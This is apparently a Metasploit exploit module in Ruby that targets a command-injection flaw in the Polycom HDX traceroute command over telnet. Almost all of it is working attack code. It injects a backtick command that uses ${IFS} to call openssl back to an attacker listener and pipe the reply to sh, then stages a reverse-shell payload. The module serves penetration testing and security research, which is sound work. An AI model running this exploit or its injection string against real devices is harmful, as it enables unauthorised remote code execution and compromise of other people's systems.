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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name' => 'Polycom Shell HDX Series Traceroute Command Execution',
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      'Description' => %q{
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        Within Polycom command shell, a command execution flaw exists in
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        lan traceroute, one of the dev commands, which allows for an
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        attacker to execute arbitrary payloads with telnet or openssl.
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      },
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      'Author' => [
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        'Mumbai', #
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        'staaldraad', # https://twitter.com/_staaldraad/
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        'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # took some of the code from polycom_hdx_auth_bypass
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        'h00die <[email protected]>' # stole the code, creds to them
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      ],
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      'References' => [
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        ['URL', 'https://staaldraad.github.io/2017/11/12/polycom-hdx-rce/']
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      ],
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      'DisclosureDate' => '2017-11-12',
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      'License' => MSF_LICENSE,
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      'Platform' => 'unix',
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      'Arch' => ARCH_CMD,
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      'Stance' => Msf::Exploit::Stance::Aggressive,
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      'Targets' => [[ 'Automatic', {} ]],
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      'Payload' => {
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        'Space' => 8000,
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        'DisableNops' => true,
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        'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'telnet generic openssl'}
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      },
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      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
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      'DefaultTarget' => 0
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    ))
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    register_options(
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    [
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      Opt::RHOST(),
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      Opt::RPORT(23),
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      OptString.new('PASSWORD', [ false, "Password to access console interface if required."]),
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      OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
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      OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
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    ])
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  end
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  def check
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    connect
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    Rex.sleep(1)
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    res = sock.get_once
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    disconnect
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    if !res && !res.empty?
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      return Exploit::CheckCode::Unknown
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    elsif res =~ /Welcome to ViewStation/ || res =~ /Polycom/
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      return Exploit::CheckCode::Detected
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    end
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    Exploit::CheckCode::Unknown
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  end
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  def exploit
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    unless check == Exploit::CheckCode::Detected
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      fail_with(Failure::Unknown, "#{peer} - Failed to connect to target service")
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    end
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    #
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    # Obtain banner information
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    #
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    sock = connect
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    Rex.sleep(2)
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    banner = sock.get_once
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    vprint_status("Received #{banner.length} bytes from service")
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    vprint_line("#{banner}")
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    if banner =~ /password/i
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      print_status("Authentication enabled on device, authenticating with target...")
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      if datastore['PASSWORD'].nil?
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        print_error("#{peer} - Please supply a password to authenticate with")
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        return
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      end
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      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.
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      sock.put("#{datastore['PASSWORD']}\n")
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      res = sock.get_once
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      if res =~ /Polycom/
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        print_good("#{peer} - Authenticated successfully with target.")
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      elsif res =~ /failed/
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        print_error("#{peer} - Invalid credentials for target.")
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        return
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      end
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    elsif banner =~ /Polycom/ # praise jesus
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      print_good("#{peer} - Device has no authentication, excellent!")
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    end
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    do_payload(sock)
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  end
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  def do_payload(sock)
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    # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
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    cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
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    # Start a listener
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    start_listener(true)
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    # Figure out the port we picked
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    cbport = self.service.getsockname[2]
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    cmd = "devcmds\nlan traceroute `openssl${IFS}s_client${IFS}-quiet${IFS}-host${IFS}#{cbhost}${IFS}-port${IFS}#{cbport}|sh`\n"
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    sock.put(cmd)
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    if datastore['VERBOSE']
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      Rex.sleep(2)
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      resp = sock.get_once
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      vprint_status("Received #{resp.length} bytes in response")
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      vprint_line(resp)
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    end
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    # Give time for our command to be queued and executed
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    1.upto(5) do
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      Rex.sleep(1)
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      break if session_created?
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    end
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  end
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  def stage_final_payload(cli)
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    print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
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    cli.put(payload.encoded + "\n")
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  end
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  def start_listener(ssl = false)
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    comm = datastore['ListenerComm']
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    if comm == 'local'
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      comm = ::Rex::Socket::Comm::Local
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    else
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      comm = nil
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    end
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    self.service = Rex::Socket::TcpServer.create(
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      'LocalPort' => datastore['CBPORT'],
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      'SSL'       => ssl,
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      'SSLCert'   => datastore['SSLCert'],
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      'Comm'      => comm,
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      'Context'   =>
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      {
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        'Msf'        => framework,
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        'MsfExploit' => self
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      }
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    )
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    self.service.on_client_connect_proc = proc { |client|
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      stage_final_payload(client)
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    }
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    # Start the listening service
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    self.service.start
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  end
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  # Shut down any running services
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  def cleanup
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    super
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    if self.service
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      print_status("Shutting down payload stager listener...")
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      begin
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        self.service.deref if self.service.is_a?(Rex::Service)
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        if self.service.is_a?(Rex::Socket)
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          self.service.close
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          self.service.stop
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        end
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        self.service = nil
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      rescue ::Exception
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      end
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    end
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  end
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  # Accessor for our TCP payload stager
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  attr_accessor :service
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end
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